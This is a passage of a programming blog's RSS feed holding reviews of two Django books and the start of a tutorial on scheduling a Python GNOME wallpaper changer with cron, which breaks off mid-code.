href=&#34;https://coffeebytes.dev/en/django/the-definitive-guide-to-django/&#34;&gt;The definitive guide to Django&lt;/a&gt;&#xA; (even though it is outdated). Instead, if you are looking for a more focused approach to rapid application development and deployment, this is probably the book you need to read.&lt;/p&gt;&#xA;&lt;p&gt;In short, I liked a lot of things about this book. First of all, seeing examples in Docker (even at a basic level) with Django is quite useful, as many of the books leave it aside. Secondly, the incorporation of tests at the end of each chapter I also consider it a success on the part of the writer.&lt;/p&gt;&#xA;&lt;p&gt;The book overall is a very good intermediate Django book and shows a development flow that is more in line with the current state of the art. I consider it a good choice if you know the basics of Django and Python. However, I would by no means consider it a book for professionals with enough experience.&lt;/p&gt;&#xA;&lt;p&gt;**** Recommended background:**** HTML, Git, Database, Docker, Python and basic GNU/Linux commands.&#xA;&lt;strong&gt;Recommended to read:&lt;/strong&gt; 7/10&#xA;&lt;strong&gt;Languages:&lt;/strong&gt; English&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Some time ago, while searching for information about Django on the internet I came across a very good &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://djangochat.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;weekly podcast called Django chats&lt;/a&gt;&#xA;. The author, named William S. Vincent, talks about Django and interviews developers related to this web development framework. Besides running his podcast religiously, William S. Vincent also writes books about Django. One of them is Django for Professionals, which is &lt;strong&gt;one of the best modern Django books&lt;/strong&gt; I&amp;rsquo;ve read so far. This book is part of a trilogy about Django. If you know English take a spin on the author&amp;rsquo;s Django podcast, you&amp;rsquo;ll find a lot of great content about Django and purchase links to his three books:&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>The definitive guide to Django</title>
      <link>https://coffeebytes.dev/en/django/the-definitive-guide-to-django/</link>
      <pubDate>Wed, 01 Apr 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/the-definitive-guide-to-django/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Django is &lt;strong&gt;my favorite web development framework&lt;/strong&gt;, it is mature, its documentation and community are excellent. When I wrote about the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;advantages and disadvantages of Django&lt;/a&gt;&#xA; I explained you how to go from an idea to a working prototype in a very short time and without writing almost any code. I learned much of what I know about this framework years ago, reading and practicing the contents of a book called &lt;strong&gt;Definitive Guide to Django: Web Development Done Right&lt;/strong&gt; by the authors &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.holovaty.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Adrian Holovaty&lt;/a&gt;&#xA; , &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://jacobian.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Jacob Kaplan-Moss&lt;/a&gt;&#xA; (co-creators of Django) and impeccably translated into Spanish by Saul Garcia under the title La guía definitiva de Django: Desarrolla aplicaciones web de forma rápida y sencilla.&lt;/p&gt;&#xA;&lt;p&gt;This book is excellent because it covers absolutely everything you need to develop a Django application, frontend, backend, and deployment. The book is a &lt;strong&gt;complete Django user manual&lt;/strong&gt;. Its content covers everything about how Django works, from the simplest to the most complicated. It covers the explanation of the MVC design pattern, history of Django development as a Framework, views (normal and generic), templates, models, use of Middleware, security, cache optimization, internationalization and the adaptation of the framework when you already have a pre-existing database. The book is a gem for those who love Python and Django, I include myself among them.&lt;/p&gt;&#xA;&lt;h2 id=&#34;a-good-book-but-out-of-date&#34;&gt;A good book, but out of date&lt;/h2&gt;&#xA;&lt;p&gt;But not everything is magic with this book. As of this writing, Django is in version 3, but the information in the book is stuck in version 1.8. Unfortunately, it doesn&amp;rsquo;t look like the authors have any intentions to retake the book to give it an update. Both authors have their blogs up and running, so I guess they have left the project forgotten.&lt;/p&gt;&#xA;&lt;p&gt;Django and the web are changing little by little with each update; the web makes massive use of Javascript in the Frontend, first the SPAs became trendy and many times Django is used with the only function of serving information via REST or GraphQL to a frontend that will be in charge of processing it, completely ignoring some of the template rendering functionality; urls no longer require regular expressions, also it is possible to specify the type of data they will receive.&lt;/p&gt;&#xA;&lt;p&gt;Currently, the React missionaries, in a rather unexpected twist, decided to focus their efforts on generating HTML directly from the server (as it had always been done), and named it SSR.&lt;/p&gt;&#xA;&lt;p&gt;If the authors of this book decided to keep its content up to date it could easily be the best Django book available.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;my-opinion-about-the-definitive-guide-to-django&#34;&gt;My opinion about the definitive guide to Django&lt;/h2&gt;&#xA;&lt;p&gt;If you still want to read the book I recommend you to choose carefully the chapters and consider that the code may be quite outdated, I leave you the link to its &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://bibing.us.es/proyectos/abreproy/12051/fichero/libros%252Flibro-django.pdf&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Spanish version&lt;/a&gt;&#xA; (If the link no longer sends you somewhere valid send me a tweet or an email). You can download it without any concern, it is totally legal, because the book is under the terms of the GNU Free Documentation License. &lt;strong&gt;I recommend you to take a look at the chapters of Cache, Middleware, Internationalization and Security&lt;/strong&gt;, you will find useful tips that are still valid today.&lt;/p&gt;&#xA;&lt;p&gt;If you want to learn Django with the new changes in the framework go to my post where I talk about the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/django-for-professionals-review/&#34;&gt;Django for Professionals book&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;strong&gt;Recommended background:&lt;/strong&gt;&lt;/strong&gt; Python, HTML and CSS&#xA;&lt;strong&gt;Recommended to read:&lt;/strong&gt; 6/10&#xA;&lt;strong&gt;Languages:&lt;/strong&gt; English, Spanish&#xA;&lt;strong&gt;Notes:&lt;/strong&gt; Outdated&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Django is &lt;strong&gt;my favorite web development framework&lt;/strong&gt;, it is mature, its documentation and community are excellent. When I wrote about the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;advantages and disadvantages of Django&lt;/a&gt;&#xA; I explained you how to go from an idea to a working prototype in a very short time and without writing almost any code. I learned much of what I know about this framework years ago, reading and practicing the contents of a book called &lt;strong&gt;Definitive Guide to Django: Web Development Done Right&lt;/strong&gt; by the authors &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.holovaty.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Adrian Holovaty&lt;/a&gt;&#xA; , &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://jacobian.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Jacob Kaplan-Moss&lt;/a&gt;&#xA; (co-creators of Django) and impeccably translated into Spanish by Saul Garcia under the title La guía definitiva de Django: Desarrolla aplicaciones web de forma rápida y sencilla.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How to program an automatic wallpaper changer in Python?</title>
      <link>https://coffeebytes.dev/en/python/how-to-program-an-automatic-wallpaper-changer-in-python/</link>
      <pubDate>Sun, 01 Mar 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/python/how-to-program-an-automatic-wallpaper-changer-in-python/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;In the previous post we made an &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-create-an-automatic-wallpaper-changer-using-python-in-gnome/&#34;&gt;automatic wallpaper changer in Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In this entry we are going to use Cron to program the periodic execution of this script and that it is in charge of changing the wallpaper every certain time, automatically, every hour, two hours, every day, every minute or the frequency that we want.&lt;/p&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t know how Cron daemon works and how to schedule tasks using this tool, please check my post about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/program-periodic-tasks-easily-in-linux-with-cron-and-crontab/&#34;&gt;Cron and Crontab&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Also if you&amp;rsquo;re interested in diving into this programming language &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/my-curated-best-resources-to-learn-python-programming-language/&#34;&gt;here&amp;rsquo;s my list of favorite resources to learn Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#!/usr/bin/python3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; random&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wallpaper_folder &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/home/user/imgs/wallpaper/&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Place your own directory here&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;chdir(wallpaper_folder)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;allowed_image_formats &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;jpg&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;png&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;jpeg&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;list_of_images &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [image &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; image &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;listdir() &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; image&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;endswith(&lt;span style=&#34;color:#ff5c57&#34;&gt;tuple&lt;/span&gt;(allowed_image_formats))]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;random_wallpaper &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;path&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;join(os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;getcwd(), random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;choice(list_of_images))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;system(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;gsettings set org.gnome.desktop.background picture-uri &amp;#39;file://&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(random_wallpaper))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;system(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;gsettings set org.gnome.desktop.background picture-uri-dark &amp;#39;file://&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(random_wallpaper))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, we are going to schedule its execution by means of Crontab.&lt;/p&gt;&#xA;&lt;p&gt;If we place a Python script containing the above code block in Crontab and wait for the runtime to arrive, &lt;strong&gt;it will not work&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;adding-environment-variables-to-crontab&#34;&gt;Adding environment variables to Crontab&lt;/h2&gt;&#xA;&lt;p&gt;Remember that &lt;strong&gt;when we schedule a task in Crontab, we do not have access to all environment variables&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For the wallpaper changer to work we will need to pass the environment variable called DBUS_SESSION_BUS_ADDRESS to the script we place in Crontab. To find the value of the environment variable we can do it from terminal, using the printenv command.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;printenv | grep DBUS&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;DBUS_SESSION_BUS_ADDRESS&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;unix:path&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;/run/user/1000/bus&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We could also use Python to get this value.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;environ&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;DBUS_SESSION_BUS_ADDRESS&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now that we have the value of the environment variable, we can add it to the environment variables via &lt;em&gt;os.environ&lt;/em&gt;. Now this value will be available to Crontab when the script is run.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#!/usr/bin/python3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; random&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;environ[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;DBUS_SESSION_BUS_ADDRESS&amp;#34;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;unix:path=/run/user/1000/bus&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# LINEA NUEVA&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wallpaper_folder &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/home/user/imgs/wallpaper/&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Place your own directory here&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;chdir(wallpaper_folder)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;allowed_image_formats &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;jpg&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;png&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;jpeg&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;list_of_images &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [image &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; image &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;listdir() &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; image&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;endswith(&lt;span style=&#34;color:#ff5c57&#34;&gt;tuple&lt;/span&gt;(allowed_image_formats))]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;random_wallpaper &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;path&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;join(os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;getcwd(), random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;choice(list_of_images))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;system(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;gsettings set org.gnome.desktop.background picture-uri &amp;#39;file://&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(random_wallpaper))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;system(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;gsettings set org.gnome.desktop.background picture-uri-dark &amp;#39;file://&lt;/span&gt;&lt;span 